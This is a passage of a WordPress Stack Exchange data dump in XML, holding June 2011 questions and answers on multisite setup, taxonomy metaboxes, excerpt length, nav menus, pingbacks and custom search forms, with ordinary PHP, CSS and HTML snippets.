  <row Id="19992" PostTypeId="2" ParentId="19983" CreationDate="2011-06-14T12:58:34.913" Score="0" ViewCount="" Body="&lt;p&gt;WordPress multisite sounds exactly like what you are looking for. It takes a little work to get multisite set up, but once that's done, the options for allowing anybody to register and create a new site are built right in. See &lt;a href=&quot;http://codex.wordpress.org/Create_A_Network&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Create_A_Network&lt;/a&gt; for setting up a multisite instance.&lt;/p&gt;&#xA;" OwnerUserId="2226" LastActivityDate="2011-06-14T12:58:34.913" CommentCount="2" />
  <row Id="19993" PostTypeId="2" ParentId="19986" CreationDate="2011-06-14T13:04:06.460" Score="2" ViewCount="" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter(&quot;manage_edit-page_columns&quot;, &quot;my_page_edit_columns&quot;);&#xA;&#xA;function my_page_edit_columns($columns){&#xA;  unset($columns['comments']);&#xA;&#xA;  return $columns;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you need it for posts instead of pages, use &lt;code&gt;manage_edit-post_columns&lt;/code&gt; instead. The same goes for any post type, really, as &lt;code&gt;manage_edit-{post_type}_columns&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2226" LastActivityDate="2011-06-14T13:04:06.460" CommentCount="4" />
  <row Id="19994" PostTypeId="2" ParentId="19990" CreationDate="2011-06-14T13:29:23.977" Score="0" ViewCount="" Body="&lt;p&gt;This is a very Plugin-specific question, for which you're already getting support responses from the Plugin's developer. I'm not sure anyone here would know the Plugin any better than would the developer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said: if I'm reading the developer's support responses correctly, I think he's saying that you need to upload the image via the media manager, and &lt;em&gt;save changes&lt;/em&gt;, rather than &lt;em&gt;insert into post&lt;/em&gt;. Then, you can select the image from the &lt;em&gt;Library&lt;/em&gt; tab, once it's been uploaded and saved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the &quot;image&quot; custom fields being used for? Additional &quot;Featured&quot; images, or something?&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-14T13:29:23.977" CommentCount="1" />
  <row Id="19995" PostTypeId="1" CreationDate="2011-06-14T13:57:53.260" Score="0" ViewCount="30" Body="&lt;p&gt;I have a wordpress blog and I imported the posts into that from my old blogspot site. Since then I have posted many things on my wordpress blog, but of late I noticed that many posts were not imported.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any reliable program to import posts from blogger.com and insert only the missing posts, (that is not overwrite existing posts)?&lt;/p&gt;&#xA;" OwnerUserId="4727" LastActivityDate="2011-06-14T13:57:53.260" Title="Reimporting Blogger.com posts" Tags="&lt;import&gt;&lt;bulk-import&gt;&lt;blogger&gt;" />
  <row Id="19996" PostTypeId="1" CreationDate="2011-06-14T14:03:10.820" Score="1" ViewCount="101" Body="&lt;p&gt;First of all, I have posted a very similar question here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/19124/displaying-custom-post-types-in-a-fancybox-div-and-then-linking-to-them&quot;&gt;Displaying custom post-types in a Fancybox div and then linking to them&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, after being unable to find a solution I have taken a different approach and created a template page with just the portfolioProject div and not included the other elements such as header and footer. So now on this page( &lt;a href=&quot;http://www.ashleymosuro.com/newsite/portfolio&quot; rel=&quot;nofollow&quot;&gt;click here&lt;/a&gt;) when I click on one of the thumbnails it opens up the fancybox div but I have a few issues:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The close button doesn't appear&#xA;to work&lt;/li&gt;&#xA;&lt;li&gt;The second thumbnail doesn't&#xA;appear to work but the first does&lt;/li&gt;&#xA;&lt;li&gt;I don't want the scrollbar to show,&#xA;and I have tried using the &lt;code&gt;option&#xA;scrollbar : 'no'&lt;/code&gt; but it does not&#xA;seem to work&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Any help on this would be great! Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ash&lt;/p&gt;&#xA;" OwnerUserId="5883" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-06-14T14:24:16.210" LastActivityDate="2011-08-14T19:23:55.383" Title="Displaying div from custom-post-type in Fancy Box" Tags="&lt;jquery&gt;" AnswerCount="1" />
  <row Id="19997" PostTypeId="2" ParentId="19895" CreationDate="2011-06-14T14:34:36.530" Score="1" ViewCount="" Body="&lt;p&gt;Technically, you could, but it wouldn't make sense to do this. A ping isn't a comment. Nobody wrote on your blog. It's simply notification from a ping-enabled site that shows that site linked to your post. The site that included your link might be a scrapper site, a spammer, or someone who legitimately refers to your post. Either way, they would never see any comments and I don't know what comment anyone could make about a ping. &lt;/p&gt;&#xA;" OwnerUserId="2761" LastActivityDate="2011-06-14T14:34:36.530" CommentCount="5" />
  <row Id="19998" PostTypeId="2" ParentId="19978" CreationDate="2011-06-14T14:36:52.590" Score="1" ViewCount="" Body="&lt;p&gt;If i understand correctly what you are trying to achieve then you can use &lt;code&gt;get_the_terms&lt;/code&gt; function to get the rating terms object and from that echo out the description.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;replace:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo get_the_term_list( $post-&amp;gt;ID, 'rating', __('Author Rating: ', 'appz'), ', ', '' ); // HERE I WANT THE DESCRIPTION (I.E. THE IMAGE THAT I USED AS THE DESCRIPTION INSTEAD OF THE TERM) ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;    echo '&amp;lt;span class=&quot;rating-author&quot;&amp;gt;'.__('Author Rating: ', 'appz').'&amp;lt;/span&amp;gt;';&#xA;&#xA;    $reating_terms = get_the_terms ($post-&amp;gt;id, 'rating');&#xA;    foreach ($reating_terms as $term){&#xA;        echo $term-&amp;gt;description;&#xA;    }&#xA;    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-14T14:36:52.590" CommentCount="3" />
  <row Id="19999" PostTypeId="2" ParentId="19975" CreationDate="2011-06-14T14:49:25.140" Score="2" ViewCount="" Body="&lt;p&gt;Remove the border=&quot;1&quot; attribute but leave the cellspacing. Then go into styles.css and either add your CSS selectors or modify the existing selectors. If your table is within the id=&quot;content&quot; block, the styling is being affected by the existing selectors. The ones you will want to adjust are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; #content table {&#xA; border: 1px solid #e7e7e7;&#xA; margin: 0 -1px 24px 0;&#xA; text-align: left;&#xA; width: 100%;&#xA;  }&#xA;  #content tr th,&#xA;  #content thead th {&#xA;   color: #888;&#xA;   font-size: 12px;&#xA;   font-weight: bold;&#xA;   line-height: 18px;&#xA;   padding: 9px 24px;&#xA;   }&#xA;   #content tr td {&#xA;    border-top: 1px solid #e7e7e7;&#xA;    padding: 6px 24px;&#xA;   }&#xA;   #content tr.odd td {&#xA;    background: #f2f7fc;&#xA;   }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2761" LastActivityDate="2011-06-14T14:49:25.140" />
  <row Id="20001" PostTypeId="2" ParentId="17093" CreationDate="2011-06-14T15:41:27.850" Score="2" ViewCount="" Body="&lt;p&gt;How about these two. The first one is one of my doing. Although I could have added a expandable/collapsible control for the extras.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simple but neatly presented options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/cdrB4.png&quot; alt=&quot;Simple options&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and a rather messy series of options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/qkyyl.png&quot; alt=&quot;messy series of options&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3797" LastActivityDate="2011-06-14T15:41:27.850" CommentCount="1" />
  <row Id="20002" PostTypeId="1" CreationDate="2011-06-14T15:42:15.927" Score="0" ViewCount="58" Body="&lt;p&gt;i'm using Login With Ajax plugin, and i have some good options when i'm loggin.&#xA;I can post something, logout or edit my profile in front-end.&#xA;To do this, i'm using Wordpress User Frontend plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I need these new options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the editor or admin to see in the sidebar&#xA;when you get a new comment to be approved&#xA;when you get a new article to be approved&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to do everything on the site without going to the back end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks so much.&lt;/p&gt;&#xA;" OwnerUserId="4879" LastActivityDate="2011-06-14T15:42:15.927" Title="administration through front-end" Tags="&lt;front-end&gt;" CommentCount="5" />
  <row Id="20003" PostTypeId="2" ParentId="19979" CreationDate="2011-06-14T15:56:42.820" Score="0" ViewCount="" Body="&lt;p&gt;Try the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;wp-includes/js/admin-bar.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;wp-includes/css/admin-bar.css&quot;&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;&amp;lt;?php&#xA;require_once( dirname(__FILE__) . '/wp-load.php' );&#xA;&#xA;wp_admin_bar_render();&#xA;?&amp;gt;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5337" LastActivityDate="2011-06-14T15:56:42.820" />
  <row Id="20004" PostTypeId="1" CreationDate="2011-06-14T16:03:37.020" Score="0" ViewCount="75" Body="&lt;p&gt;I have registered my custom taxonomy and want to use dropdown in back end... &#xA;code given here &lt;a href=&quot;http://wordpress.stackexchange.com/questions/18578/taxonomy-dropdown-metabox-in-the-back-end&quot;&gt;Taxonomy dropdown metabox in the back-end&lt;/a&gt; works like a charm.... but now in admin there are two metaboxes one is my custom which shows as drop down and another is default which takes comma seprated input similar as tags and i dont want that... So how could i remove that default meta box... &lt;/p&gt;&#xA;" OwnerUserId="6185" LastActivityDate="2011-08-14T08:23:43.693" Title="Taxonomy dropdown metabox in the back-end" Tags="&lt;custom-taxonomy&gt;" AnswerCount="3" />
  <row Id="20005" PostTypeId="2" ParentId="20004" CreationDate="2011-06-14T16:12:45.077" Score="0" ViewCount="" Body="&lt;p&gt;use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/remove_meta_box&quot; rel=&quot;nofollow&quot;&gt;remove_meta_box&lt;/a&gt;. you may need to look at the html source to verify that the div that you want to hide is called &lt;code&gt;tagsdiv-brands&lt;/code&gt;, I'm pretty certain it should be correct.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function rajeev_remove_post_items() {&#xA;    remove_meta_box('tagsdiv-brands', 'post', 'normal');&#xA;}&#xA;add_action('admin_menu', 'rajeev_remove_post_items' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt; - I changed the function name from &lt;code&gt;remove_post_items&lt;/code&gt; to &lt;code&gt;rajeev_remove_post_items&lt;/code&gt;, it's always a good idea to prefix your functions with something likely to be unique to avoid potential collisions.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastEditorUserId="4771" LastEditorDisplayName="" LastEditDate="2011-06-14T16:23:45.313" LastActivityDate="2011-06-14T16:23:45.313" />
  <row Id="20006" PostTypeId="2" ParentId="19945" CreationDate="2011-06-14T16:16:16.617" Score="0" ViewCount="" Body="&lt;p&gt;Use the &lt;code&gt;widget_archives_args&lt;/code&gt; filter to add the archives limit.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_limit_archives( $args ) {&#xA;    $args['limit'] = 12;&#xA;    return $args;&#xA;}&#xA;add_filter( 'widget_archives_args', 'my_limit_archives' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And to limit the number of months in Archives widget dropdown use the following drop down filter.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'widget_archives_dropdown_args', 'my_limit_archives' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5337" LastEditorUserId="5337" LastEditorDisplayName="" LastEditDate="2011-06-15T05:07:57.367" LastActivityDate="2011-06-15T05:07:57.367" CommentCount="4" />
  <row Id="20007" PostTypeId="2" ParentId="19963" CreationDate="2011-06-14T16:18:41.010" Score="0" ViewCount="" Body="&lt;ul&gt;&#xA;&lt;li&gt;500 ISE may indicate a problem with the configuration on the server. It could be a problem with your .htaccess file. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5021" LastActivityDate="2011-06-14T16:18:41.010" CommentCount="1" />
  <row Id="20008" PostTypeId="2" ParentId="19962" CreationDate="2011-06-14T16:27:06.180" Score="0" ViewCount="" Body="&lt;p&gt;You can done it with &lt;code&gt;wp_get_post_terms()&lt;/code&gt; function also:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$terms = wp_get_post_terms($post-&amp;gt;ID, &quot;speaker&quot;);&#xA;foreach ($terms as $termid) {  &#xA;  echo $termid-&amp;gt;term_id;  &#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it will display all terms of taxonomy for current post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; it must be inside the loop&lt;/p&gt;&#xA;" OwnerUserId="6187" LastActivityDate="2011-06-14T16:27:06.180" CommentCount="1" />
  <row Id="20009" PostTypeId="2" ParentId="20004" CreationDate="2011-06-14T16:32:53.970" Score="0" ViewCount="" Body="&lt;p&gt;Just set &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_taxonomy&quot; rel=&quot;nofollow&quot;&gt;show_ui&lt;/a&gt; to false when you register your taxonomy.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-06-14T16:32:53.970" />
  <row Id="20010" PostTypeId="1" CreationDate="2011-06-14T16:37:39.380" Score="0" ViewCount="38" Body="&lt;p&gt;I have a Wordpress site with 50+ posts. I would like the order of the posts to be randomly. I would like the site to update every other day with a new order of posts. How can I do this?&lt;/p&gt;&#xA;" OwnerUserId="2188" LastActivityDate="2011-06-14T16:37:39.380" Title="Randomly order of posts" Tags="&lt;posts&gt;" CommentCount="1" />
  <row Id="20011" PostTypeId="1" AcceptedAnswerId="20255" CreationDate="2011-06-14T16:52:09.380" Score="1" ViewCount="61" Body="&lt;p&gt;I was testing a new website with Chrome (latest build), everything working fine (no new plugin installed during the test) when suddendly when I try to post a comment, after pressing the &quot;reply&quot; button it stops on a blank wp-comments-post.php without posting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am testing on localhost with MAMP.&#xA;The funny thing is on the other browsers installed in the same machine (Safari, FF) it is working regularly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to overwrite the file from a wordrpess install, clear the cache, reboot, reboot MAMP, but nothing. I also checked the file wp-comments-post.php in the root and it is not blank and Akismet is disabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2119" LastEditorUserId="2119" LastEditorDisplayName="" LastEditDate="2011-06-15T21:44:11.440" LastActivityDate="2011-06-17T10:22:00.577" Title="blank page after submitting a comment" Tags="&lt;comments&gt;&lt;comment-form&gt;" AnswerCount="1" />
  <row Id="20012" PostTypeId="2" ParentId="20004" CreationDate="2011-06-14T17:05:20.993" Score="0" ViewCount="" Body="&lt;p&gt;I asked the same question and got an answer here:http://wordpress.stackexchange.com/questions/6183/how-do-you-remove-a-category-style-hierarchical-taxonomy-metabox&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You use the remove_meta_box functionas mentioned in a previous answer, but you have two options: tagsdiv-{$tax_name}for non-hierarchical taxonomies and  {$tax_name}div for hierarchical taxonomies (like categories).  So in your case:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; remove_meta_box('tagsdiv-brands', 'post', 'normal');&#xA; remove_meta_box('brandsdiv', 'post', 'normal');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2234" LastActivityDate="2011-06-14T17:05:20.993" />
  <row Id="20013" PostTypeId="2" ParentId="19652" CreationDate="2011-06-14T17:18:41.453" Score="1" ViewCount="" Body="&lt;p&gt;Assuming that your event rewrite slug is event and you want your datebased URLs to look like: &lt;a href=&quot;http://domain.com/event/2011-06-14/&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/event/2011-06-14/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function custom_permalink_for_my_cpt( $rules ) {&#xA;    $custom_rules = array();&#xA;&#xA;    // a rewrite rule to add our custom date based urls&#xA;    $custom_rules['event/([0-9]{4}-[0-9]{2}-[0-9]{2})/?$'] = 'index.php?post_type=event&amp;amp;event-date=$matches[1]';&#xA;    return $custom_rules + $rules;&#xA;}&#xA;add_filter( 'rewrite_rules_array', 'custom_permalink_for_my_cpt' );&#xA;&#xA;// add a query var so we can read the date passed in url&#xA;function my_custom_query_vars( $query_vars ) {&#xA;    $query_vars[] = 'event-date';&#xA;   return $query_vars; &#xA;}&#xA;add_filter( 'query_vars', 'my_custom_query_vars' );&#xA;&#xA;// modify the main wordpress query&#xA;function my_date_based_event_archives() {&#xA;    // only modify the wordpress query if its event archive and&#xA;    // we have got the event-date passed through the url&#xA;    if ( is_archive( 'event' ) &amp;amp;&amp;amp; get_query_var( 'event-date' ) ) {&#xA;        global $wp_query;&#xA;        $meta_query = array(&#xA;            'meta_query' =&amp;gt; array(&#xA;                array(&#xA;                    'key' =&amp;gt; 'event-date',&#xA;                    'value' =&amp;gt; get_query_var( 'event-date' )&#xA;                )&#xA;            )&#xA;        );&#xA;        $args = array_merge( $wp_query-&amp;gt;query, $meta_query );&#xA;        query_posts( $args );&#xA;    }&#xA;}&#xA;add_action( 'get_template_part_loop', 'my_date_based_event_archives' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5337" LastActivityDate="2011-06-14T17:18:41.453" CommentCount="1" />
  <row Id="20014" PostTypeId="1" CreationDate="2011-06-14T17:46:40.717" Score="2" ViewCount="75" Body="&lt;p&gt;I have a question about complex taxonomies. What are the pros and cons of tagging multiple terms? For example, tagging the lowest &quot;child&quot; or all of them up to the &quot;parent.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently working on a template and would like to know the best practices.&lt;/p&gt;&#xA;" OwnerUserId="6190" LastActivityDate="2011-06-14T17:46:40.717" Title="Best practices for complex taxonomies" Tags="&lt;custom-taxonomy&gt;" CommentCount="3" FavoriteCount="1" />
  <row Id="20015" PostTypeId="1" CreationDate="2011-06-14T18:21:58.690" Score="1" ViewCount="68" Body="&lt;p&gt;OK, this is a basic question...I'm upgrading a theme I built (from scratch) to support 3.0 menus (finally). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the new wp_nav_menu tag, as expected, the tag's default container is added when a custom menu is assigned only. The added div prevents the custom menu from taking the css I previously created. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to be able to support both default and custom menu. Rather than bulking out my css with added selectors to support the new class, I'd like to null the container and container_class in the wp_nav_menu array and state the container in HTML around the tag. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any reason I should not do this? Is there a more elegant way of supporting both default and custom menus? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for reading. &lt;/p&gt;&#xA;" OwnerUserId="3514" LastEditorUserId="3514" LastEditorDisplayName="" LastEditDate="2011-06-14T18:36:07.020" LastActivityDate="2011-06-14T22:20:47.343" Title="Operable default menu *and* custom 3 menu" Tags="&lt;3.0&gt;&lt;custom-menus&gt;&lt;css&gt;" AnswerCount="1" />
  <row Id="20016" PostTypeId="1" CreationDate="2011-06-14T18:23:07.087" Score="0" ViewCount="63" Body="&lt;p&gt;Is there any free Google Analytics plugin that works with WPMU?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please suggest only if you use it and it works.&lt;/p&gt;&#xA;" OwnerUserId="944" LastActivityDate="2011-06-14T18:23:07.087" Title="Free Google Analytics plugin that works with Wordpress in network mode (WPMU)?" Tags="&lt;multisite&gt;&lt;google-analytics&gt;" CommentCount="2" />
  <row Id="20017" PostTypeId="2" ParentId="4439" CreationDate="2011-06-14T19:32:44.063" Score="0" ViewCount="" Body="&lt;p&gt;I do this with a workaround by using the following plugin for loading custom css in the admin panel: &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-admin-css/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/custom-admin-css/&lt;/a&gt;&#xA;And then hiding the delete option for the required posts/pages or categories.&lt;/p&gt;&#xA;" OwnerUserId="6193" LastActivityDate="2011-06-14T19:32:44.063" />
  <row Id="20018" PostTypeId="1" AcceptedAnswerId="20019" CreationDate="2011-06-14T19:47:32.083" Score="1" ViewCount="129" Body="&lt;p&gt;been seaching on google for a plugin for this and can't seem to find anything realiable. The only plugin I found is called &quot;old post promoter&quot;. Any ideeas?&#xA;Can this be done with googl old fashion coding, not a plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ty!&lt;/p&gt;&#xA;" OwnerUserId="2979" LastActivityDate="2011-06-14T20:06:27.843" Title="Automatically republish old posts" Tags="&lt;posts&gt;&lt;get-posts&gt;&lt;date&gt;" AnswerCount="1" />
  <row Id="20019" PostTypeId="2" ParentId="20018" CreationDate="2011-06-14T20:06:27.843" Score="2" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/oldest-2-newest-redux/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/oldest-2-newest-redux/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it takes your oldest post and reposts it in the front every 24 hours, but you can change the hours on the php file in the plugin folder &lt;/p&gt;&#xA;&#xA;&lt;p&gt;not sure if this is what u are looking for.&lt;/p&gt;&#xA;" OwnerUserId="5825" LastActivityDate="2011-06-14T20:06:27.843" CommentCount="3" />
  <row Id="20020" PostTypeId="1" CreationDate="2011-06-14T20:58:32.533" Score="1" ViewCount="94" Body="&lt;p&gt;On my static frontpage, I would like to fetch the two latest posts as shown in this &lt;a href=&quot;http://www.dobschin.com/wp-layout.png&quot; rel=&quot;nofollow&quot;&gt;link&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the posts should always be displayed like this (i.e. constant height, limited number of characters), no matter what! If the post uses the more-tag or not - it should always look like in the picture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can that be achieved? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried both content and excerpt but somehow there always are cases in which the layout gets messed up. Is there a 'standard' way of doing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I'm just asking about getting the actual content, i.e. the &quot;text text text&quot; bit - I have done all the rest)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks&lt;/p&gt;&#xA;" OwnerUserId="6194" LastActivityDate="2011-06-14T22:45:10.437" Title="Displaying latest Posts - fixed height - Excerpt vs. Content?" Tags="&lt;content&gt;&lt;excerpt&gt;" AnswerCount="2" />
  <row Id="20021" PostTypeId="1" AcceptedAnswerId="20039" CreationDate="2011-06-14T21:16:22.903" Score="1" ViewCount="54" Body="&lt;p&gt;How can I permanently disable pingbacks on my wordpress multi user installation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have disabled access to the wp-trackback.php file through permissions (chmod 000 trackback.php) thinking this would stop any pingbacks from being received. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not want to run any SQL queries on the posts table, as there is a separate posts table for each blog.&lt;/p&gt;&#xA;" OwnerUserId="6196" LastActivityDate="2011-06-15T01:09:59.847" Title="How do I permanently disable Pingbacks?" Tags="&lt;spam&gt;&lt;pingbacks&gt;" AnswerCount="1" />
  <row Id="20023" PostTypeId="2" ParentId="20020" CreationDate="2011-06-14T22:10:23.507" Score="1" ViewCount="" Body="&lt;p&gt;The simple way to do this is to define the height/width in CSS of a container, and then apply a trim on the excerpt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To change default excerpt length add this to you functions.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function new_excerpt_length($length) { &#xA;    return 100; // change this to how many any characters you want&#xA;}&#xA;&#xA;add_filter('excerpt_length', 'new_excerpt_length');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Manually controlling the excerpt&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/6310/howto-control-manual-excerpt-length&quot;&gt;Howto control manual excerpt length?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Outside th loop&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/6961/using-wp-trim-excerpt-to-get-the-excerpt-outside-the-loop&quot;&gt;Using wp_trim_excerpt to get the_excerpt() outside the loop&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same filters can be applied to the content, but the excerpt suits this better.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-06-14T22:10:23.507" />
  <row Id="20024" PostTypeId="2" ParentId="20015" CreationDate="2011-06-14T22:20:47.343" Score="2" ViewCount="" Body="&lt;p&gt;Use &lt;code&gt;'container' =&amp;gt; false,&lt;/code&gt; in your wp_nav_menu array&lt;/p&gt;&#xA;" OwnerUserId="4451" LastActivityDate="2011-06-14T22:20:47.343" CommentCount="1" />
  <row Id="20025" PostTypeId="1" AcceptedAnswerId="20028" CreationDate="2011-06-14T22:37:25.487" Score="1" ViewCount="44" Body="&lt;p&gt;I have two different kinds of search results on my site and I'd like to change the look of the search result page entirely. I've played around with the search form a bit but I'm unsure how to force it to redirect to an alternate search.php Any help would be appreciated&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form role=&quot;search&quot; method=&quot;get&quot; id=&quot;searchsupport&quot; action=&quot;/&quot;&amp;gt;&#xA;    &amp;lt;label class=&quot;screen-reader-text&quot; for=&quot;s&quot;&amp;gt;Search for:&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; onfocus=&quot;if (this.value == 'Search')  &#xA;    {this.value = '';}&quot; onblur=&quot;if (this.value == '')  &#xA;    {this.value = 'search';}&quot; id=&quot;s&quot; name=&quot;s&quot; value=&quot;search&quot; class=&quot;search-form round&quot;&amp;gt; &#xA;    &amp;lt;input type=&quot;hidden&quot; id=&quot;searchsubmit&quot;&amp;gt; &#xA;    &amp;lt;input type='hidden' name='post_type' value='software, documents' /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3296" LastActivityDate="2011-06-14T22:51:59.780" Title="Varying Search Result Pages" Tags="&lt;themes&gt;&lt;loop&gt;&lt;search&gt;&lt;form&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="20027" PostTypeId="2" ParentId="20020" CreationDate="2011-06-14T22:45:10.437" Score="0" ViewCount="" Body="&lt;p&gt;I think that because the excerpt limits words and not characters you will always get different heights. You can limit the excerpt to number of characters to make it more accurate:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function excerpt($num) {&#xA;    echo utf8_encode(substr(get_the_excerpt(), 0, $num+1)) . &quot;...&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then call it with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;excerpt('55')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this way you'll get the first 55 characters followed by ...&#xA;overflow:hidded; may also help.&lt;/p&gt;&#xA;" OwnerUserId="4451" LastActivityDate="2011-06-14T22:45:10.437" />
  <row Id="20028" PostTypeId="2" ParentId="20025" CreationDate="2011-06-14T22:51:59.780" Score="2" ViewCount="" Body="&lt;p&gt;you can add an hidden filed to your search form and include a different template based on that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form role=&quot;search&quot; method=&quot;get&quot; id=&quot;searchsupport&quot; action=&quot;/&quot;&amp;gt;&#xA;    &amp;lt;label class=&quot;screen-reader-text&quot; for=&quot;s&quot;&amp;gt;Search for:&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; onfocus=&quot;if (this.value == 'Search')  &#xA;    {this.value = '';}&quot; onblur=&quot;if (this.value == '')  &#xA;    {this.value = 'search';}&quot; id=&quot;s&quot; name=&quot;s&quot; value=&quot;search&quot; class=&quot;search-form round&quot;&amp;gt; &#xA;    &amp;lt;input type=&quot;hidden&quot; id=&quot;searchsubmit&quot;&amp;gt; &#xA;&#xA;    &amp;lt;!-- this is the magic field ---&amp;gt;&#xA;    